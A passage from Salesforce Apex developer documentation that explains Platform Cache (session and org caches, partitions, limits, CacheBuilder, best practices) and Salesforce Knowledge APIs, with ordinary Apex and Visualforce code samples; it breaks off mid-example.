// additional tests to validate permissions granted by PSG
}
}
```

SEE ALSO:[Salesforce Help: Permission Set Groups](#)[Apex Reference Guide: Test Class](#)

Platform Cache

The Lightning Platform Cache layer provides faster performance and better reliability when caching Salesforce session and org data. Specify what to cache and for how long without using custom objects and settings or overloading a Visualforce view state. Platform Cache improves performance by distributing cache space so that some applications or operations don't steal capacity from others.

Because Apex runs in a multi-tenant environment with cached data living alongside internally cached data, caching involves minimal disruption to core Salesforce processes.

[Platform Cache Features](#)

The Platform Cache API lets you store and retrieve data that's tied to Salesforce sessions or shared across your org. Put, retrieve, or remove cache values by using the `Session`, `Org`, `SessionPartition`, and `OrgPartition` classes in the `Cache` namespace. Use the Platform Cache Partition tool in Setup to create or remove org partitions and allocate their cache capacities to balance performance across apps.

[Platform Cache Considerations](#)

Review these considerations when working with Platform Cache.

[Platform Cache Limits](#)

These limits apply when using Platform Cache.

[Platform Cache Partitions](#)

Use Platform Cache partitions to improve the performance of your applications. Partitions allow you to distribute cache space in the way that works best for your applications. Caching data to designated partitions ensures that it's not overwritten by other applications or less-critical data.

[Platform Cache Internals](#)

Platform Cache uses local cache and a least recently used (LRU) algorithm to improve performance.

Store and Retrieve Values from the Session Cache

Use the `Cache.Session` and `Cache.SessionPartition` classes to manage values in the session cache. To manage values in any partition, use the methods in the `Cache.Session` class. If you're managing cache values in one partition, use the `Cache.SessionPartition` methods instead.

Store and Retrieve Values from the Org Cache

Use the `Cache.Org` and `Cache.OrgPartition` classes to manage values in the org cache. To manage values in any partition, use the methods in the `Cache.Org` class. If you're managing cache values in one partition, use the `Cache.OrgPartition` methods instead.

Use a Visualforce Global Variable for the Platform Cache

You can access cached values stored in the session or org cache from a Visualforce page with global variables.

Safely Cache Values with the CacheBuilder Interface

A Platform Cache best practice is to ensure that your Apex code handles cache misses by testing for cache requests that return null. You can write this code yourself. Or, you can use the `Cache.CacheBuilder` interface, which makes it easy to safely store and retrieve values to a session or org cache.

Platform Cache Best Practices

Platform Cache can greatly improve performance in your applications. However, it's important to follow these guidelines to get the best cache performance. In general, it's more efficient to cache a few large items than to cache many small items separately. Also be mindful of cache limits to prevent unexpected cache evictions.

Platform Cache Features

The Platform Cache API lets you store and retrieve data that's tied to Salesforce sessions or shared across your org. Put, retrieve, or remove cache values by using the `Session`, `Org`, `SessionPartition`, and `OrgPartition` classes in the `Cache` namespace. Use the Platform Cache Partition tool in Setup to create or remove org partitions and allocate their cache capacities to balance performance across apps.

There are two types of cache:

- **Session cache**—Stores data for individual user sessions. For example, in an app that finds customers within specified territories, the calculations that run while users browse different locations on a map are reused.
Session cache lives alongside a user session. The maximum life of a session is eight hours. Session cache expires when its specified time-to-live (`ttlsecs` value) is reached or when the session expires after eight hours, whichever comes first.
- **Org cache**—Stores data that any user in an org reuses. For example, the contents of navigation bars that dynamically display menu items based on user profile are reused.
Unlike session cache, org cache is accessible across sessions, requests, and org users and profiles. Org cache expires when its specified time-to-live (`ttlsecs` value) is reached.

Additionally, Salesforce provides 3 MB of free Platform Cache capacity for security-reviewed managed packages through a capacity type called Provider Free capacity. You can allocate capacities to session cache and org cache from the Provider Free capacity.

The best data to cache is:

- Reused throughout a session
- Static (not rapidly changing)
- Otherwise expensive to retrieve

For both session and org caches, you can construct calls so that cached data in one namespace isn't overwritten by similar data in another. Optionally use the `Cache.Visibility` enumeration to specify whether Apex code can access cached data in a namespace outside of the invoking namespace.

Each cache operation depends on the Apex transaction within which it runs. If the entire transaction fails, all cache operations in that transaction are rolled back.

Try Platform Cache

To test performance improvements by using Platform Cache in your own org, you can request trial cache for your production org. Enterprise, Unlimited, and Performance editions come with some cache, but adding more cache often provides greater performance. When your trial request is approved, you can allocate capacity to partitions and experiment with using the cache for different scenarios. Testing the cache on a trial basis lets you make an informed decision about whether to purchase cache.

For more information about trial cache, see “Request a Platform Cache Trial” in Salesforce Help.

You can request additional cache space to improve the performance of your application. For more information about requesting additional cache, see “Request Additional Platform Cache” in Salesforce Help.

For more information about Provider Free capacity cache, see “Set Up a Platform Cache partition using Provider Free Capacity” in Salesforce Help.



Note: Platform Cache isn't supported in Professional Edition.

SEE ALSO:

[Apex Reference Guide: Session Class](#)

[Apex Reference Guide: Org Class](#)

[Apex Reference Guide: Partition Class](#)

[Apex Reference Guide: OrgPartition Class](#)

[Apex Reference Guide: SessionPartition Class](#)

[Apex Reference Guide: CacheBuilder Interface](#)

Platform Cache Considerations

Review these considerations when working with Platform Cache.

- Cache isn't persisted. There's no guarantee against data loss.
- Some or all cache is invalidated when you modify an Apex class in your org.
- Data in the cache isn't encrypted.
- Org cache supports concurrent reads and writes across multiple simultaneous Apex transactions. For example, a transaction updates the key `PetName` with the value `Fido`. At the same time, another transaction updates the same key with the value `Felix`. Both writes succeed, but one of the two values is chosen arbitrarily as the winner, and later transactions read that one value. However, this arbitrary choice is per key rather than per transaction. For example, suppose one transaction writes `PetType="Cat"` and `PetName="Felix"`. Then, at the same moment, another transaction writes `PetType="Dog"` and `PetName="Fido"`. In this case, the `PetType` winning value could be from the first transaction, and the `PetName` winning value could be from the second transaction. Subsequent `get()` calls on those keys would return `PetType="Cat"` and `PetName="Fido"`.
- Cache misses can happen. We recommend constructing your code to consider a case where previously cached items aren't found. Alternatively, use the [CacheBuilder Interface](#), which checks for cache misses.
- All platform cache statistical methods: `getAvgGetSize()`, `getAvgGetTime()`, `getMaxGetSize()`, `getMaxGetTime()`, and `getMissRate()` report data starting from the time the cache server was restarted, and do not include data prior to the restart.
- Partitions must adhere to the limits within Salesforce.
- The session cache can store values up to eight hours. The org cache can store values up to 48 hours.

- For orgs that use Salesforce Flow:
 - When a process contains a scheduled action, make sure that later actions in the process don't invoke Apex code that stores or retrieves values from the session cache. The session-cache restriction applies to Apex actions and to changes that the process makes to the database that cause Apex triggers to fire.
 - When a flow contains a Pause element, make sure that later elements in the flow don't invoke Apex code that stores or retrieves values from the session cache. The session-cache restriction applies to Apex actions and to changes that the flow makes to the database that cause Apex triggers to fire.

Platform Cache Limits

These limits apply when using Platform Cache.

Platform Cache Limits

Key Size Limits

Limit	Value
Maximum key size	50 characters

Edition-specific Limits

This table shows the amount of Platform Cache available for different types of orgs. To purchase more cache, contact your Salesforce representative.

Edition	Cache Size
Enterprise	10 MB
Unlimited and Performance	30 MB
All others	0 MB

Partition Size Limits

Limit	Value
Minimum partition size	1 MB

Session Cache Limits

Limit	Value
Maximum size of a single cached item (for <code>put()</code> methods)	100 KB
Maximum local cache size for a partition, per-request ¹	500 KB
Minimum developer-assigned time-to-live	300 seconds (5 minutes)
Maximum developer-assigned time-to-live	28,800 seconds (8 hours)

Limit	Value
Maximum session cache time-to-live	28,800 seconds (8 hours)

Org Cache Limits

Limit	Value
Maximum size of a single cached item (for <code>put()</code> methods)	100 KB
Maximum local cache size for a partition, per-request ¹	1,000 KB
Minimum developer-assigned time-to-live	300 seconds (5 minutes)
Maximum developer-assigned time-to-live	172,800 seconds (48 hours)
Default org cache time-to-live	86,400 seconds (24 hours)

¹ Local cache is the application server's in-memory container that the client interacts with during a request.

Platform Cache Partitions

Use Platform Cache partitions to improve the performance of your applications. Partitions allow you to distribute cache space in the way that works best for your applications. Caching data to designated partitions ensures that it's not overwritten by other applications or less-critical data.

To use Platform Cache, first set up partitions using the Platform Cache Partition tool in Setup. Once you've set up partitions, you can add, access, and remove data from them using the Platform Cache Apex API.

To access the Partition tool in Setup, enter *Platform Cache* in the **Quick Find** box, then select **Platform Cache**.

Use the Partition tool to:

- Setup a Platform Cache partition with Provider Free capacity.
- Request trial cache.
- Create, edit, or delete cache partitions.
- Allocate the session cache and org cache capacities of each partition to balance performance across apps.
- View a snapshot of the org's current cache capacity, breakdown, and partition allocations (in KB or MB).
- View details about each partition.
- Make any partition the default partition.

To use Platform Cache, create at least one partition. Each partition has one session cache and one org cache segment and you can allocate separate capacity to each segment. Session cache can be used to store data for individual user sessions, and org cache is for data that any users in an org can access. You can distribute your org's cache space across any number of partitions. Session and org cache allocations can be zero, or five or greater, and they must be whole numbers. The sum of all partition allocations, including the default partition, equals the Platform Cache total allocation. The total allocated capacity of all cache segments must be less than or equal to the org's overall capacity.

You can define any partition as the default partition, but you can have only one default partition. When a partition has no allocation, cache operations (such as `get` and `put`) are not invoked, and no error is returned.

When performing cache operations within the default partition, you can omit the partition name from the key.

After you set up partitions, you can use Apex code to perform cache operations on a partition. For example, use the `Cache.SessionPartition` and `Cache.OrgPartition` classes to put, retrieve, or remove values on a specific partition's cache. Use `Cache.Session` and `Cache.Org` to get a partition or perform cache operations by using a fully qualified key.

Packaging Platform Cache Partitions

When packaging an application that uses Platform Cache, add any referenced partitions to your packages explicitly. Partitions aren't pulled into packages automatically, as other dependencies are. Partition validation occurs during run time, rather than compile time. Therefore, if a partition is missing from a package, you don't receive an error message at compile time.



Note: If platform cache code is intended for a package, don't use the default partition in the package. Instead, explicitly reference and package a non-default partition. Any package containing the default partition can't be deployed.

SEE ALSO:

[Apex Reference Guide: Partition Class](#)

[Apex Reference Guide: OrgPartition Class](#)

[Apex Reference Guide: SessionPartition Class](#)

[Metadata API Developer's Guide: Platform Cache Partition Type](#)

Platform Cache Internals

Platform Cache uses local cache and a least recently used (LRU) algorithm to improve performance.

Local Cache

Platform Cache uses local cache to improve performance, ensure efficient use of the network, and support atomic transactions. Local cache is the application server's in-memory container that the client interacts with during a request. Cache operations don't interact with the caching layer directly, but instead interact with local cache.

For session cache, all cached items are loaded into local cache upon first request. All subsequent interactions use the local cache. Similarly, an org cache get operation retrieves a value from the caching layer and stores it in the local cache. Subsequent requests for this value are retrieved from the local cache. All mutable operations, such as put and remove, are also performed against the local cache. Upon successful completion of the request, mutable operations are committed.



Note: Local cache doesn't support concurrent operations. Mutable operations, such as put and remove, are performed against the local cache and are only committed when the entire Apex request is successful. Therefore, other simultaneous requests don't see the results of the mutable operations.

Atomic Transactions

Each cache operation depends on the Apex request that it runs in. If the entire request fails, all cache operations in that request are rolled back. Behind the scenes, the use of local cache supports these atomic transactions.

Eviction Algorithm

When possible, Platform Cache uses an LRU algorithm to evict keys from the cache. When cache limits are reached, keys are evicted until the cache is reduced to 100-percent capacity. If session cache is used, the system removes cache evenly from all existing session

cache instances. Local cache also uses an LRU algorithm. When the maximum local cache size for a partition is reached, the least recently used items are evicted from the local cache.

SEE ALSO:

[Platform Cache Limits](#)

Store and Retrieve Values from the Session Cache

Use the `Cache.Session` and `Cache.SessionPartition` classes to manage values in the session cache. To manage values in any partition, use the methods in the `Cache.Session` class. If you're managing cache values in one partition, use the `Cache.SessionPartition` methods instead.

Cache.Session Methods

To store a value in the session cache, call the `Cache.Session.put()` method and supply a key and value. The key name is in the format `namespace.partition.key`. For example, for namespace **ns1**, partition **partition1**, and key **orderDate**, the fully qualified key name is `ns1.partition1.orderDate`.

This example stores a `DateTime` cache value with the key `orderDate`. Next, the snippet checks if the `orderDate` key is in the cache, and if so, retrieves the value from the cache.

```
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Session.put('ns1.partition1.orderDate', dt);
if (Cache.Session.contains('ns1.partition1.orderDate')) {
    DateTime cachedDt = (DateTime)Cache.Session.get('ns1.partition1.orderDate');
}
```

To refer to the default partition and the namespace of the invoking class, omit the `namespace.partition` prefix and specify the key name.

```
Cache.Session.put('orderDate', dt);
if (Cache.Session.contains('orderDate')) {
    DateTime cachedDt = (DateTime)Cache.Session.get('orderDate');
}
```

The `local` prefix refers to the namespace of the current org where the code is running, regardless of whether the org has a namespace defined. If the org has a namespace defined as `ns1`, the following two statements are equivalent.

```
Cache.Session.put('local.myPartition.orderDate', dt);
Cache.Session.put('ns1.myPartition.orderDate', dt);
```



Note: The `local` prefix in an installed managed package refers to the namespace of the subscriber org and not the package's namespace. The cache `put` calls are not allowed in a partition that the invoking class doesn't own.

The `put()` method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your cached value can't be overwritten by another namespace, set the last parameter of this method to `true`. The following example also sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.

```
// Add a value to the cache with options
Cache.Session.put('ns1.partition1.totalSum', '500', 3600, Cache.Visibility.ALL, true);
```

To retrieve a cached value from the session cache, call the `Cache.Session.get()` method. Because `Cache.Session.get()` returns an object, we recommend that you cast the returned value to a specific type.

```
// Get a cached value
Object obj = Cache.Session.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;
```

Cache.SessionPartition Methods

If you're managing cache values in one partition, use the `Cache.SessionPartition` methods instead. After the partition object is obtained, the process of adding and retrieving cache values is similar to using the `Cache.Session` methods. The `Cache.SessionPartition` methods are easier to use because you specify only the key name without the namespace and partition prefix.

First, get the session partition and specify the desired partition. The partition name includes the namespace prefix: `namespace.partition`. You can manage the cached values in that partition by adding and retrieving cache values on the obtained partition object. The following example obtains the partition named `myPartition` in the `myNs` namespace. Next, if the cache contains a value with the key `BookTitle`, this cache value is retrieved. A new value is added with key `orderDate` and today's date.

```
// Get partition
Cache.SessionPartition sessionPart = Cache.Session.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (sessionPart.contains('BookTitle')) {
    String cachedTitle = (String)sessionPart.get('BookTitle');
}
// Add cache value to the partition
sessionPart.put('OrderDate', Date.today());
```

This example calls the `get` method on a partition in one expression without assigning the partition instance to a variable.

```
// Or use dot notation to call partition methods
String cachedAuthor =
    (String)Cache.Session.getPartition('myNs.myPartition').get('BookAuthor');
```

SEE ALSO:

[Apex Reference Guide: Session Class](#)

[Apex Reference Guide: SessionPartition Class](#)

Store and Retrieve Values from the Org Cache

Use the `Cache.Org` and `Cache.OrgPartition` classes to manage values in the org cache. To manage values in any partition, use the methods in the `Cache.Org` class. If you're managing cache values in one partition, use the `Cache.OrgPartition` methods instead.

Cache.Org Methods

To store a value in the org cache, call the `Cache.Org.put()` method and supply a key and value. The key name is in the format `namespace.partition.key`. For example, for namespace **ns1**, partition **partition1**, and key **orderDate**, the fully qualified key name is `ns1.partition1.orderDate`.

This example stores a `DateTime` cache value with the key `orderDate`. Next, the snippet checks if the `orderDate` key is in the cache, and if so, retrieves the value from the cache.

```
// Add a value to the cache
DateTime dt = DateTime.parse('06/16/2015 11:46 AM');
Cache.Org.put('ns1.partition1.orderDate', dt);
if (Cache.Org.contains('ns1.partition1.orderDate')) {
    DateTime cachedDt = (DateTime)Cache.Org.get('ns1.partition1.orderDate');
}
```

To refer to the default partition and the namespace of the invoking class, omit the `namespace.partition` prefix and specify the key name.

```
Cache.Org.put('orderDate', dt);
if (Cache.Org.contains('orderDate')) {
    DateTime cachedDt = (DateTime)Cache.Org.get('orderDate');
}
```

The `local` prefix refers to the namespace of the current org where the code is running. The `local` prefix refers to the namespace of the current org where the code is running, regardless of whether the org has a namespace defined. If the org has a namespace defined as `ns1`, the following two statements are equivalent.

```
Cache.Org.put('local.myPartition.orderDate', dt);
Cache.Org.put('ns1.myPartition.orderDate', dt);
```



Note: The `local` prefix in an installed managed package refers to the namespace of the subscriber org and not the package's namespace. The cache `put` calls are not allowed in a partition that the invoking class doesn't own.

The `put()` method has multiple versions (or overloads), and each version takes different parameters. For example, to specify that your cached value can't be overwritten by another namespace, set the last parameter of this method to `true`. The following example also sets the lifetime of the cached value (3600 seconds or 1 hour) and makes the value available to any namespace.

```
// Add a value to the cache with options
Cache.Org.put('ns1.partition1.totalSum', '500', 3600, Cache.Visibility.ALL, true);
```

To retrieve a cached value from the org cache, call the `Cache.Org.get()` method. Because `Cache.Org.get()` returns an object, we recommend that you cast the returned value to a specific type.

```
// Get a cached value
Object obj = Cache.Org.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;
```

Cache.OrgPartition Methods

If you're managing cache values in one partition, use the `Cache.OrgPartition` methods instead. After the partition object is obtained, the process of adding and retrieving cache values is similar to using the `Cache.Org` methods. The `Cache.OrgPartition` methods are easier to use because you specify only the key name without the namespace and partition prefix.

First, get the org partition and specify the desired partition. The partition name includes the namespace prefix:

`namespace.partition`. You can manage the cached values in that partition by adding and retrieving cache values on the obtained

partition object. The following example obtains the partition named `myPartition` in the `myNs` namespace. If the cache contains a value with the key `BookTitle`, this cache value is retrieved. A new value is added with key `orderDate` and today's date.

```
// Get partition
Cache.OrgPartition orgPart = Cache.Org.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (orgPart.contains('BookTitle')) {
    String cachedTitle = (String)orgPart.get('BookTitle');
}
// Add cache value to the partition
orgPart.put('OrderDate', Date.today());
```

This example calls the `get` method on a partition in one expression without assigning the partition instance to a variable.

```
// Or use dot notation to call partition methods
String cachedAuthor = (String)Cache.Org.getPartition('myNs.myPartition').get('BookAuthor');
```

SEE ALSO:

[Apex Reference Guide: Org Class](#)

[Apex Reference Guide: OrgPartition Class](#)

Use a Visualforce Global Variable for the Platform Cache

You can access cached values stored in the session or org cache from a Visualforce page with global variables.

You can use either the `Cache.Session` or `Cache.Org` global variable. Include the global variable's fully qualified key name with the namespace and partition name.

This output text component retrieves a session cache value using the global variable's namespace, partition, and key.

```
<apex:outputText value="{!$Cache.Session.myNamespace.myPartition.key1}"/>
```

This example is similar but uses the `Cache.Org` global variable to retrieve a value from the org cache.

```
<apex:outputText value="{!$Cache.Org.myNamespace.myPartition.key1}"/>
```



Note: The remaining examples show how to access the session cache using the `Cache.Session` global variable. The equivalent org cache examples are the same except that you use the `Cache.Org` global variable instead.

Unlike with Apex methods, you can't omit the `myNamespace.myPartition` prefix to reference the default partition in the org.

If a namespace isn't defined for the org, use `local` to refer to the org's namespace.

```
<apex:outputText value="{!$Cache.Session.local.myPartition.key1}"/>
```

The cached value is sometimes a data structure that has properties or methods, like an Apex list or a custom class. In this case, you can access the properties in the `Cache.Session` or `Cache.Org` expression by using dot notation. For example, this markup invokes the `List.size()` Apex method if the value of `numbersList` is declared as a `List`.

```
<apex:outputText value="{!$Cache.Session.local.myPartition.numbersList.size}"/>
```

This example accesses the value property on the `myData` cache value that is declared as a custom class.

```
<apex:outputText value="{!$Cache.Session.local.myPartition.myData.value}"/>
```

If you're using `CacheBuilder`, qualify the key name with the class that implements the `CacheBuilder` interface and the literal string `_B_`, in addition to the namespace and partition name. In this example, the class that implements `CacheBuilder` is called `CacheBuilderImpl`.

```
<apex:outputText value="{!$Cache.Session.myNamespace.myPartition.CacheBuilderImpl_B_key1}"/>
```

Safely Cache Values with the CacheBuilder Interface

A Platform Cache best practice is to ensure that your Apex code handles cache misses by testing for cache requests that return null. You can write this code yourself. Or, you can use the `Cache.CacheBuilder` interface, which makes it easy to safely store and retrieve values to a session or org cache.

Rather than just declaring what you want to cache in your Apex class, create an inner class that implements the `CacheBuilder` interface. The interface has a single method, `doLoad(String var)`, which you override by coding the logic that builds the cached value based on the `doLoad(String var)` method's argument.

To retrieve a value that you've cached with `CacheBuilder`, you don't call the `doLoad(String var)` method directly. Instead, it's called indirectly by Salesforce the first time you reference the class that implements `CacheBuilder`. Subsequent calls get the value from the cache, as long as the value exists. If the value doesn't exist, the `doLoad(String var)` method is called again to build the value and then return it. As a result, you don't execute `put()` methods when using the `CacheBuilder` interface. And because the `doLoad(String var)` method checks for cache misses, you don't have to write the code to check for nulls yourself.

Let's look at an example. Suppose you're coding an Apex controller class for a Visualforce page. In the Apex class, you often run a SOQL query that looks up a User record based on a user ID. SOQL queries can be expensive, and Salesforce user records don't typically change much, so the User information is a good candidate for `CacheBuilder`.

In your controller class, create an inner class that implements the `CacheBuilder` interface and overrides the `doLoad(String var)` method. Then add the SOQL code to the `doLoad(String var)` method with the user ID as its parameter.

```
class UserInfoCache implements Cache.CacheBuilder {
    public Object doLoad(String userid) {
        User u = (User)[SELECT Id, IsActive, username FROM User WHERE id =: userid];
        return u;
    }
}
```

To retrieve the User record from the org cache, execute the `Org.get(cacheBuilder, key)` method, passing it the `UserInfoCache` class and the user ID. Similarly, use `Session.get(cacheBuilder, key)` and `Partition.get(cacheBuilder, key)` to retrieve the value from the session or partition cache, respectively.

```
User batman = (User) Cache.Org.get(UserInfoCache.class, '00541000000ek4c');
```

When you run the `get()` method, Salesforce searches the cache using a unique key that consists of the strings `00541000000ek4c` and `UserInfoCache`. If Salesforce finds a cached value, it returns it. For this example, the cached value is a User record associated with the ID `00541000000ek4c`. If Salesforce doesn't find a value, it executes the `doLoad(String var)` method of `UserInfoCache` again (and reruns the SOQL query), caches the User record, and then returns it.

CacheBuilder Coding Requirements

Follow these requirements when you code a class that implements the `CacheBuilder` interface.

- The `doLoad(String var)` method must take a `String` parameter, even if you do not use the parameter in the method's code. Salesforce uses the string, along with the class name, to build a unique key for the cached value.

- The `doLoad(String var)` method can return any value, including null. If a null value is returned, it is delivered directly to the `CacheBuilder` consumer and **not** cached. `CacheBuilder` consumers are expected to handle null values gracefully. We recommend using null values to reflect a temporary failure to re-build the cache key.
- The class that implements `CacheBuilder` must be non-static because Salesforce instantiates a new instance of the class and runs the `doLoad(String var)` method to create the cached value.

SEE ALSO:

[Apex Reference Guide: CacheBuilder Interface](#)

Platform Cache Best Practices

Platform Cache can greatly improve performance in your applications. However, it's important to follow these guidelines to get the best cache performance. In general, it's more efficient to cache a few large items than to cache many small items separately. Also be mindful of cache limits to prevent unexpected cache evictions.

Evaluate the Performance Impact

To test whether Platform Cache improves performance in your application, calculate the elapsed time with and without using the cache. Don't rely on the Apex debug log timestamp for the execution time. Use the `System.currentTimeMillis()` method instead. For example, first call `System.currentTimeMillis()` to get the start time. Perform application logic, fetching the data from either the cache or another data source. Then calculate the elapsed time.

```
long startTime = System.currentTimeMillis();
// Your code here
long elapsedTime = System.currentTimeMillis() - startTime;
System.debug(elapsedTime);
```

Handle Cache Misses Gracefully

Ensure that your code handles cache misses by testing cache requests that return null. To help with debugging, add logging information for cache operations.

Alternatively, use the `Cache.CacheBuilder` interface, which checks for cache misses.

```
public class CacheManager {
    private Boolean cacheEnabled;

    public void CacheManager() {
        cacheEnabled = true;
    }

    public Boolean toggleEnabled() { // Use for testing misses
        cacheEnabled = !cacheEnabled;
        return cacheEnabled;
    }

    public Object get(String key) {
        if (!cacheEnabled) return null;
        Object value = Cache.Session.get(key);
        if (value != null) System.debug(LoggingLevel.DEBUG, 'Hit for key ' + key);
        return value;
    }
}
```

```

public void put(String key, Object value, Integer ttl) {
    if (!cacheEnabled) return;
    Cache.Session.put(key, value, ttl);
    // for redundancy, save to DB
    System.debug(LoggingLevel.DEBUG, 'put() for key ' + key);
}

public Boolean remove(String key) {
    if (!cacheEnabled) return false;
    Boolean removed = Cache.Session.remove(key);
    if (removed) {
        System.debug(LoggingLevel.DEBUG, 'Removed key ' + key);
        return true;
    } else return false;
}
}

```

Group Cache Requests

When possible, group cache requests, but be aware of caching limits. To help improve performance, perform cache operations on a list of keys rather than on individual keys. For example, if you know which keys are necessary to invoke a Visualforce page or perform a task in Apex, retrieve all keys at once. To retrieve multiple keys, call `get (keys)` in an initialization method.

Cache Larger Items

It's more efficient to cache a few large items than to cache many small items separately. Caching many small items decreases performance and increases overhead, including total serialization size, serialization time, cache commit time, and cache capacity usage.

Don't add many small items to the Platform Cache within one request. Instead, wrap data in larger items, such as lists. If a list is large, consider breaking it into multiple items. Here's an example of what to avoid.

```

// Don't do this!

public class MyController {

    public void initCache() {
        List<Account> accts = [SELECT Id, Name, Phone, Industry, Description FROM
            Account limit 1000];
        for (Integer i=0; i<accts.size(); i++) {
            Cache.Org.put('acct' + i, accts.get(i));
        }
    }
}

```

Instead, wrap the data in a few reasonably large items without exceeding the limit on the size of single cached items.

```

// Do this instead.

public class MyController {

    public void initCache() {
        List<Account> accts = [SELECT Id, Name, Phone, Industry, Description FROM

```

```
Account limit 1000];  
Cache.Org.put('accts', accts);  
}  
}
```

Another good example of caching larger items is to encapsulate data in an Apex class. For example, you can create a class that wraps session data, and cache an instance of the class rather than the individual data items. Caching the class instance improves overall serialization size and performance.

Be Aware of Cache Limits

When you add items to the cache, be aware of the following limits.

Cache Partition Size Limit

When the cache partition limit is reached, keys are evicted until the cache is reduced to 100% capacity. Platform Cache uses a least recently used (LRU) algorithm to evict keys from the cache.

Local Cache Size Limit

When you add items to the cache, make sure that you are not exceeding local cache limits within a request. The local cache limit for the session cache is 500 KB and 1,000 KB for the org cache. If you exceed the local cache limit, items can be evicted from the local cache before the request has been committed. This eviction can cause unexpected misses and long serialization time and can waste resources.

Single Cached Item Size Limit

The size of individual cached items is limited to 100 KB. If the serialized size of an item exceeds this limit, the `Cache.ItemSizeLimitExceededException` exception is thrown. It's a good practice to catch this exception and reduce the size of the cached item.

Use the Cache Diagnostics Page (Sparingly)

To determine how much of the cache is used, check the Platform Cache Diagnostics page. To reach the Diagnostics page:

1. Make sure that Cache Diagnostics is enabled for the user (on the User Detail page).
2. On the Platform Cache Partition page, click the partition name.
3. Click the link to the Diagnostics page for the partition.

The Diagnostics page provides valuable information, including the capacity usage, keys, and serialized and compressed sizes of the cached items. The session cache and org cache have separate diagnostics pages. The session cache diagnostics are per session, and they don't provide insight across all active sessions.



Note: Generating the diagnostics page gathers all partition-related information and is an expensive operation. Use it sparingly.

Minimize Expensive Operations

Consider the following guidelines to minimize expensive operations.

- Use `Cache.Org.getKeys()` and `Cache.Org.getCapacity()` sparingly. Both methods are expensive, because they traverse all partition-related information looking for or making calculations for a given partition.



Note: `Cache.Session` usage is not expensive.

- Avoid calling the `contains(key)` method followed by the `get(key)` method. If you intend to use the key value, simply call the `get(key)` method and make sure that the value is not equal to null.

- Clear the cache only when necessary. Clearing the cache traverses all partition-related cache space, which is expensive. After clearing the cache, your application will likely regenerate the cache by invoking database queries and computations. This regeneration can be complex and extensive and impact your application's performance.

SEE ALSO:

[Platform Cache Limits](#)

[Apex Reference Guide: CacheBuilder Interface](#)

Salesforce Knowledge

Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find and view the articles they need.

Use Apex to access these Salesforce Knowledge features:

[Knowledge Management](#)

Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.

[Promoted Search Terms](#)

Promoted search terms are useful for promoting a Salesforce Knowledge article that you know is commonly used to resolve a support issue when an end user's search contains certain keywords. Users can promote an article in search results by associating keywords with the article in Apex (by using the `SearchPromotionRule` sObject) in addition to the Salesforce user interface.

[Suggest Salesforce Knowledge Articles](#)

Provide users with shortcuts to navigate to relevant articles before they perform a search. Call `Search.suggest(searchText, objectType, options)` to return a list of Salesforce Knowledge articles whose titles match a user's search query string.

Knowledge Management

Users can write, publish, archive, and manage articles using Apex in addition to the Salesforce user interface.

Use the methods in the `KbManagement.PublishingService` class to manage the following parts of the lifecycle of an article and its translations:

- Publishing
- Updating
- Retrieving
- Deleting
- Submitting for translation
- Setting a translation to complete or incomplete status
- Archiving
- Assigning review tasks for draft articles or translations



Note: Date values are based on GMT.

To use the methods in this class, you must enable Salesforce Knowledge. See [Salesforce Knowledge Implementation Guide](#) for more information on setting up Salesforce Knowledge.

SEE ALSO:

[Apex Reference Guide: PublishingService Class](#)

Promoted Search Terms

Promoted search terms are useful for promoting a Salesforce Knowledge article that you know is commonly used to resolve a support issue when an end user's search contains certain keywords. Users can promote an article in search results by associating keywords with the article in Apex (by using the `SearchPromotionRule` sObject) in addition to the Salesforce user interface.

Articles must be in published status (with a `PublishStatus` field value of `Online`) for you to manage their promoted terms.



Example: This code sample shows how to add a search promotion rule. This sample performs a query to get published articles of type `MyArticle__kav`. Next, the sample creates a `SearchPromotionRule` sObject to promote articles that contain the word "Salesforce" and assigns the first returned article to it. Finally, the sample inserts this new sObject.

```
// Identify the article to promote in search results
List<MyArticle__kav> articles = [SELECT Id FROM MyArticle__kav WHERE
PublishStatus='Online' AND Language='en_US' AND Id='Article Id'];

// Define the promotion rule
SearchPromotionRule s = new SearchPromotionRule(
    Query='Salesforce',
    PromotedEntity=articles[0]);

// Save the new rule
insert s;
```

To perform DML operations on the `SearchPromotionRule` sObject, you must enable Salesforce Knowledge.

Suggest Salesforce Knowledge Articles

Provide users with shortcuts to navigate to relevant articles before they perform a search. Call `Search.suggest(searchText, objectType, options)` to return a list of Salesforce Knowledge articles whose titles match a user's search query string.

To return suggestions, enable Salesforce Knowledge. See [Salesforce Knowledge Implementation Guide](#) for more information on setting up Salesforce Knowledge.

This Visualforce page has an input field for searching articles or accounts. When the user presses the Suggest button, suggested records are displayed. If there are more than five results, the More results button appears. To display more results, click the button.

```
<apex:page controller="SuggestionDemoController">
    <apex:form >
        <apex:pageBlock mode="edit" id="block">
            <h1>Article and Record Suggestions</h1>
            <apex:pageBlockSection >
                <apex:pageBlockSectionItem >
                    <apex:outputPanel >
                        <apex:panelGroup >
                            <apex:selectList value="{!objectType}" size="1">
                                <apex:selectOption itemLabel="Account" itemValue="Account"
                            />
                        />
                    />
                />
            />
        />
    />
```

```

        <apex:selectOption itemLabel="Article"
itemValue="KnowledgeArticleVersion" />
        <apex:actionSupport event="onchange" rerender="block"/>
    </apex:selectList>
</apex:panelGroup>
<apex:panelGroup >
    <apex:inputHidden id="nbResult" value="{!nbResult}" />
    <apex:outputLabel for="searchText">Search Text</apex:outputLabel>

    &nbsp;
    <apex:inputText id="searchText" value="{!searchText}"/>
    <apex:commandButton id="suggestButton" value="Suggest"
action="{!doSuggest}"

                                rerender="block"/>
    <apex:commandButton id="suggestMoreButton" value="More
results..." action="{!doSuggestMore}"

                                rerender="block" style="{!IF(hasMoreResults,
'', 'display: none;')}"/>
    </apex:panelGroup>
</apex:outputPanel>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
<apex:pageBlockSection title="Results" id="results" columns="1"
rendered="{!results.size>0}">
    <apex:dataList value="{!results}" var="w" type="1">
        Id: {!w.SObject['Id']}
        <br />
        <apex:panelGroup rendered="{!objectType=='KnowledgeArticleVersion'}">

